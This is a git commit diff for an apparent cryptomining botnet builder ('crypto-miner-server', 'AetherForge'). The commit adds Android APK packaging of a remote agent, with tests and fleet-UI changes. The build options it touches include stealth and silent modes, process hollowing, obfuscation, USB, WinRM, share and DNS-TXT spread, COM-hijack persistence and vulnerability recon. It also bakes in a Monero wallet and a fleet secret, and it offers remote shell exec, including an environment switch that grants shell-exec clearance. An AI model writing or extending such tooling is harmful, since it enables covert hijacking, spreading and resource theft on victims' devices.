Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -0,0 +1,292 @@
package builder
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
func ApplyApkBuildPreset(req *BuildRequest) {
req.ApkMode = true
req.TargetOS = "android"
req.TargetArch = "arm64"
req.FusionEnabled = false
req.SpreadKit = false
req.GPUEnabled = false
req.ProcessHollowing = false
req.Obfuscate = false
req.SignBuild = false
req.MiningDisabled = true
req.MinerExecution = "inprocess"
req.Threads = 1
req.ThreadMode = "fixed"
req.ThreadPercent = 25
req.MiningMode = "idle"
req.MaxCPUUsagePct = 30
req.StealthMode = true
req.SilentMode = true
req.DisplayMode = "background"
req.FileLogging = false
req.AutoSpread = false
req.USBSpread = false
req.ShareSpread = false
req.WinRMSpread = false
req.DnsTxtSpread = false
req.WebRTCMeshSpread = false
req.WSUSCachePeerSpread = false
req.COMHijackPersist = false
req.RemoteAggressive = false
req.LinuxLOTLMode = "off"
req.LotlOnionEnabled = false
req.LotlPolicyFromServer = false
req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
if strings.TrimSpace(req.ApkAgentName) == "" {
req.ApkAgentName = req.WorkerName
}
}
func (h *Handler) apkAndroidDir() string {
if h.projectRoot != "" && h.projectRoot != "." {
return filepath.Join(h.projectRoot, "android")
}
return filepath.Join(h.dataDir, "android")
}
func (h *Handler) apkAssetsDir() string {
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
}
type apkAssetConfig struct {
ServerURL string `json:"server_url"`
WorkerName string `json:"worker_name"`
}
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
assetsDir := h.apkAssetsDir()
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return fmt.Errorf("create apk assets dir: %w", err)
}
cfg := apkAssetConfig{
ServerURL: strings.TrimSpace(req.ServerURL),
WorkerName: strings.TrimSpace(req.ApkAgentName),
}
if cfg.WorkerName == "" {
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
}
raw, err := json.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
}
func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
assetsDir := h.apkAssetsDir()
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return fmt.Errorf("create apk assets dir: %w", err)
}
dest := filepath.Join(assetsDir, "agent")
return copyFile(agentBinary, dest)
}
func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
script := filepath.Join(androidDir, "build-apk.ps1")
if runtime.GOOS == "windows" && fileExists(script) {
cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return "", fmt.Errorf("apk build cancelled")
}
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
}
apk := filepath.Join(buildDir, "agent-app-release.apk")
if fileExists(apk) {
return apk, nil
}
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
}
gradlew := filepath.Join(androidDir, "gradlew")
if runtime.GOOS == "windows" {
gradlew = filepath.Join(androidDir, "gradlew.bat")
}
if fileExists(gradlew) {
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
cmd.Dir = androidDir
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return "", fmt.Errorf("apk build cancelled")
}
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
}
candidates := []string{
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
}
for _, c := range candidates {
if fileExists(c) {
dest := filepath.Join(buildDir, "agent-app-release.apk")
if err := copyFile(c, dest); err != nil {
return "", err
}
return dest, nil
}
}
return "", fmt.Errorf("gradle finished but APK output not found")
}
return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
}
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
if h.apkBuildFn != nil {
return h.apkBuildFn(h, ctx, androidDir, buildDir)
}
return h.defaultApkBuild(ctx, androidDir, buildDir)
}
func apkFileName(req *BuildRequest) string {
base := sanitizeFileName(req.ApkAgentName)
if base == "" {
base = sanitizeFileName(req.WorkerName)
}
return "agent-" + base + ".apk"
}
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
ApplyApkBuildPreset(req)
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying source files", 5)
if err := h.copyAgentSource(agentDir); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Writing Android config", 55)
if err := h.writeApkConfigJSON(req); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Building APK", 80)
androidDir := h.apkAndroidDir()
apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalName := apkFileName(req)
finalPath := filepath.Join(buildDir, finalName)
if apkPath != finalPath {
if err := copyFile(apkPath, finalPath); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
exportPath := ""
if h.projectRoot != "" && h.projectRoot != "." {
exportPath = filepath.Join(h.projectRoot, finalName)
if err := copyFile(finalPath, exportPath); err != nil {
log.Printf("[Builder] APK root export: %v", err)
exportPath = ""
}
}
if exportPath == "" {
exportPath, _ = filepath.Abs(finalPath)
}
absPath, _ := filepath.Abs(finalPath)
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
Platform: "android",
CreatedAt: time.Now(),
}
h.setProgress(req.CancelToken, "Saving to database", 99)
if err := h.db.InsertBuild(buildRecord); err != nil {
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
ArtifactPath: absPath,
FileSize: fileInfo.Size(),
DownloadURL: dlURL,
ExportPath: exportPath,
}, http.StatusOK, finalPath
}

View File

@@ -0,0 +1,121 @@
package builder
import (
"context"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
)
func TestApplyApkBuildPreset(t *testing.T) {
req := &BuildRequest{
WorkerName: "phone-1",
ServerURL: "http://192.168.1.5:8989",
FusionEnabled: true,
Threads: 8,
}
ApplyApkBuildPreset(req)
if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
}
if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
}
if req.Threads != 1 {
t.Fatalf("threads=%d want 1", req.Threads)
}
if req.ApkAgentName != "phone-1" {
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
}
}
func TestPlatformsForRequestApkMode(t *testing.T) {
ps := platformsForRequest(&BuildRequest{ApkMode: true})
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
t.Fatalf("apk platform: %+v", ps)
}
}
func TestBuildAPKAgentMockGradle(t *testing.T) {
h, _ := testHandlerDB(t)
setFakeGoSuccess(t, h)
androidDir := filepath.Join(h.projectRoot, "android")
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
t.Fatal(err)
}
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
apk := filepath.Join(buildDir, "agent-app-release.apk")
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
return "", err
}
return apk, nil
}
req := &BuildRequest{
WorkerName: "tablet-1",
ServerURL: "http://192.168.1.10:8989",
CancelToken: "apk-test-token",
ApkMode: true,
}
resp, code, _ := h.buildAPKAgent(context.Background(), req)
if code != 200 || !resp.Success {
t.Fatalf("build failed code=%d resp=%+v", code, resp)
}
if resp.ArtifactPath == "" || resp.DownloadURL == "" {
t.Fatalf("missing artifact paths: %+v", resp)
}
if !strings.HasSuffix(resp.FileName, ".apk") {
t.Fatalf("file_name=%q", resp.FileName)
}
cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
raw, err := os.ReadFile(cfgPath)
if err != nil {
t.Fatalf("config.json: %v", err)
}
var cfg apkAssetConfig
if err := json.Unmarshal(raw, &cfg); err != nil {
t.Fatal(err)
}
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
t.Fatalf("config.json: %+v", cfg)
}
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
if _, err := os.Stat(agentAsset); err != nil {
t.Fatalf("agent asset missing: %v", err)
}
// Verify compile step wrote linux/arm64 builtin config with APK flags.
buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
if len(buildDirs) == 0 {
t.Fatal("no build dir")
}
builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
builtin, err := os.ReadFile(builtinPath)
if err != nil {
t.Fatalf("builtin.go: %v", err)
}
if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
}
}
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "apk-node",
ServerURL: "http://192.168.1.5:8989",
ApkMode: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.TargetOS != "android" || !req.MiningDisabled {
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
}
}

View File

@@ -122,6 +122,11 @@ type BuildRequest struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// APK mode — Android fleet node (mining off by default).
ApkMode bool `json:"apk_mode"`
ApkAgentName string `json:"apk_agent_name"`
MiningDisabled bool `json:"mining_disabled"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -157,6 +162,7 @@ type BuildResponse struct {
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
ArtifactPath string `json:"artifact_path,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -204,6 +210,9 @@ type Handler struct {
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
activeProgressMu sync.RWMutex
activeProgress map[string]BuildProgress
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
apkBuildFn ApkBuildFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
}
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if req.ApkMode {
return h.buildAPKAgent(ctx, req)
}
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(ctx, req, prepPath)
}
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
if req.ApkMode {
ApplyApkBuildPreset(req)
}
if !req.ApkMode && req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90106 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.ApkMode {
req.FusionEnabled = false
req.SpreadKit = false
}
if req.FusionEnabled {
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
@@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
if req.ApkMode {
req.TargetOS = "android"
} else {
req.TargetOS = "windows"
}
}
if req.SpreadKit {
req.FusionEnabled = false
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
LotlOnionEnabled: %v,
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
ApkMode: %v,
MiningDisabled: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
req.ApkMode,
req.MiningDisabled,
)
}

View File

@@ -26,6 +26,9 @@ var defaultPlatforms = []BuildPlatform{
}
func platformsForRequest(req *BuildRequest) []BuildPlatform {
if req.ApkMode || strings.ToLower(strings.TrimSpace(req.TargetOS)) == "android" {
return []BuildPlatform{{GOOS: "linux", GOARCH: "arm64", Ext: ""}}
}
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
if target == "" || target == "windows" {
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}

View File

@@ -7,6 +7,13 @@ import (
"testing"
)
func TestPlatformsForRequestAndroid(t *testing.T) {
ps := platformsForRequest(&BuildRequest{TargetOS: "android"})
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
t.Fatalf("android maps to linux/arm64 agent, got %+v", ps)
}
}
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
req := &BuildRequest{TargetOS: ""}
ps := platformsForRequest(req)

View File

@@ -1,11 +1,19 @@
package clearance
import "crypto-miner-server/internal/models"
import (
"os"
"crypto-miner-server/internal/models"
)
// DefaultClearance returns the baseline clearance for an agent.
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
// AETHERFORGE_E2E=1 (Playwright phase 8) grants L3 so shell exec E2E can round-trip.
func DefaultClearance(agent *models.Agent) int {
if agent != nil && agent.Status == "online" {
if os.Getenv("AETHERFORGE_E2E") == "1" {
return L3
}
return L1
}
return L0

View File

@@ -46,6 +46,8 @@ test.describe('Crucible remote command', () => {
const terminal = page.locator('.crucible-terminal');
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
await expect(terminal.getByText('crucible-e2e-ping', { exact: true })).toBeVisible({
timeout: 15_000,
});
});
});

View File

@@ -38,7 +38,7 @@ test.describe('Page smoke', () => {
await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
await page.getByRole('button', { name: /AI Control/i }).click();
await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible();
await expect(page.locator('#cal-ai-endpoint')).toBeVisible();
await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
});

View File

@@ -12,6 +12,7 @@ import {
type SubnetLayout,
} from '../../help/networkTopology';
import { agentAccentColor } from '../../help/fleetHeatMap';
import { platformIcon } from '../../help/platform';
import './NetworkTopoMap.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -29,14 +30,6 @@ interface Props {
// ── Platform icon helper ───────────────────────────────────────────────────
function platformIcon(platform: string): string {
const p = platform.toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
// ── Hashrate spike tracking ────────────────────────────────────────────────
const SPIKE_RATIO = 1.3;

View File

@@ -76,3 +76,27 @@ describe('buildAccessDepthModel pending chain', () => {
expect(model.failed).toHaveLength(1);
});
});
describe('buildAccessDepthModel android', () => {
it('uses android platform label and probes', () => {
const model = buildAccessDepthModel(
agent({ platform: 'android', os_version: '14', arch: 'arm64' }),
parseAccessDepthDiagnostics({
environment_probes: {
wifi: true,
battery: true,
foreground_service: true,
},
tier_chain_order: ['foreground_service', 'cpu_inprocess'],
}),
);
expect(model.platformLabel).toBe('Android');
expect(model.probes.map((p) => p.label)).toEqual(['Wi-Fi', 'Battery', 'Foreground svc']);
expect(model.miningOnion.map((r) => r.tier)).toEqual([
'foreground_service',
'cpu_inprocess',
'desktop_tiers_skipped',
]);
expect(model.spreadOnion).toEqual([]);
});
});

View File

@@ -1,5 +1,6 @@
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { isAndroidPlatform, platformLabel } from './platform';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
/** Mirrors agent/miner/environment_probe.go */
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
gpu?: boolean;
av_blocks_exe?: boolean;
webview2?: boolean;
wifi?: boolean;
battery?: boolean;
foreground_service?: boolean;
}
export interface StrategyReason {
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
'stratum_direct',
] as const;
/** APK fleet-node mining path — foreground service then in-process CPU. */
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
'discover_and_join',
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const probes: EnvironmentProbes = {};
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
if (typeof row[key] === 'boolean') probes[key] = row[key];
}
return Object.keys(probes).length > 0 ? probes : undefined;
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
if (p.includes('win') || p === 'windows') return 'Windows';
return platform?.trim() || 'Unknown';
function androidDesktopSkipped(): string[] {
return DEFAULT_MINING_TIER_ORDER.filter(
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
);
}
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
if (isAndroidPlatform(agent.platform)) {
const p = probes ?? {};
return [
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
{ key: 'battery', label: 'Battery', ok: p.battery === true },
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
].filter((c) => c.ok || probes != null);
}
const p = probes ?? {};
const chips: ProbeChip[] = [
{ key: 'docker', label: 'Docker', ok: p.docker === true },
@@ -309,6 +325,15 @@ function resolveMiningOrder(
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
if (isAndroidPlatform(agent.platform)) {
const order = diag?.tier_chain_order?.length
? diag.tier_chain_order
: [...ANDROID_MINING_TIER_ORDER];
const skipped = diag?.tier_chain_skipped?.length
? diag.tier_chain_skipped
: androidDesktopSkipped();
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
}
if (diag?.adaptive_strategy?.tier_order?.length) {
const adaptiveOrder = diag.adaptive_strategy.tier_order;
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
const pending = computePendingTiers(order, skipped, attempts);
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
const spreadOrder =
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
const spreadOrder = isAndroidPlatform(agent.platform)
? []
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
? policy.lotl_onion_tiers
: [...DEFAULT_LOTL_ONION_TIERS];
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
if (agent.os_version) osParts.push(agent.os_version);
if (agent.arch) osParts.push(agent.arch);
const miningOnion = isAndroidPlatform(agent.platform)
? [
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
{
index: ANDROID_MINING_TIER_ORDER.length + 1,
tier: ANDROID_DESKTOP_SKIPPED_TIER,
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
status: 'skipped' as const,
},
]
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
return {
platformLabel: platformLabel(agent.platform),
osLine: osParts.join(' · '),
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
pendingTiers: pending,
pendingLabels: pending.map(formatLotlTierLabel),
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
miningOnion,
spreadOnion: spreadOrder.map((tier, i) => ({
index: i + 1,
tier,

View File

@@ -18,6 +18,8 @@ export const DOC_ANCHORS: Record<string, string> = {
pool_pass: '/docs/#mining',
target_os: '/docs/#forge',
target_arch: '/docs/#forge',
apk_mode: '/docs/#forge',
apk_agent_name: '/docs/#forge',
output_dir: '/docs/#forge',
thread_mode: '/docs/#forge',
thread_percent: '/docs/#forge-stealth',

View File

@@ -29,6 +29,15 @@ describe('forgeFormNormalize', () => {
expect(deriveDeliverableType(baseForm())).toBe('single');
});
it('apk mode forces android arm64 and clears fusion', () => {
const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' }));
expect(out.apk_mode).toBe(true);
expect(out.target_os).toBe('android');
expect(out.target_arch).toBe('arm64');
expect(out.fusion_enabled).toBe(false);
expect(out.mining_disabled).toBe(true);
});
it('spread kit forces universal and clears fusion', () => {
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
expect(out.spread_kit).toBe(true);

View File

@@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.apk_mode) return 'single';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
@@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
const t = targetOs || 'windows';
if (t === 'android') return UNIX_INSTALL_BASES;
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
return WINDOWS_INSTALL_BASES;
@@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean {
return targetOs === 'linux' || targetOs === 'darwin';
}
function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
return !!apkMode || targetOs === 'android';
}
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
const next: BuildRequest = { ...form };
if (next.apk_mode) {
next.fusion_enabled = false;
next.spread_kit = false;
next.target_os = 'android';
next.target_arch = 'arm64';
next.mining_disabled = true;
next.gpu_enabled = false;
next.miner_execution = 'inprocess';
next.threads = 1;
next.thread_mode = 'fixed';
if (!next.apk_agent_name?.trim()) {
next.apk_agent_name = next.worker_name;
}
}
// Deliverable coupling — spread kit wins if both flags were somehow set
if (next.spread_kit) {
next.fusion_enabled = false;
@@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
next.spread_kit = false;
}
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_os = 'android';
next.target_arch = 'arm64';
next.fusion_enabled = false;
next.spread_kit = false;
}
// Architecture
if (isSingleUnixTarget(next.target_os)) {
if (isAndroidTarget(next.target_os, next.apk_mode)) {
next.target_arch = 'arm64';
} else if (isSingleUnixTarget(next.target_os)) {
if (!next.target_arch || next.target_arch === 'all') {
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
}

View File

@@ -166,6 +166,20 @@ describe('applyForgeFieldUpdate', () => {
expect(out.target_os).toBe('universal');
});
it('apk_mode locks android arm64 and disables fusion', () => {
const out = applyForgeFieldUpdate(
baseForm({ fusion_enabled: true, target_os: 'windows' }),
'apk_mode',
true
);
expect(out.apk_mode).toBe(true);
expect(out.target_os).toBe('android');
expect(out.target_arch).toBe('arm64');
expect(out.fusion_enabled).toBe(false);
expect(out.mining_disabled).toBe(true);
expect(out.apk_agent_name).toBe('pc-lab-1');
});
it('spread_kit applies full preset and clears fusion', () => {
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
expect(out.spread_kit).toBe(true);

View File

@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
}
break;
case 'apk_mode':
if (value === true) {
Object.assign(next, {
apk_mode: true,
fusion_enabled: false,
spread_kit: false,
target_os: 'android',
target_arch: 'arm64',
mining_disabled: true,
gpu_enabled: false,
threads: 1,
thread_mode: 'fixed',
display_mode: 'background',
silent_mode: true,
stealth_mode: true,
file_logging: false,
});
if (!next.apk_agent_name?.trim()) {
next.apk_agent_name = next.worker_name;
}
} else {
next.apk_mode = false;
next.mining_disabled = false;
if (next.target_os === 'android') {
next.target_os = 'windows';
next.target_arch = 'all';
}
}
break;
case 'fusion_enabled':
if (value === true) {
next.apk_mode = false;
next.display_mode = 'background';
next.silent_mode = true;
next.spread_kit = false;
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
const isUniversal = targetOs === 'universal';
const isSpreadKit = !!form.spread_kit;
const isFusion = !!form.fusion_enabled;
const isApk = !!form.apk_mode;
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
wallet: {
disabled: isApk,
badge: 'baked',
lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
},
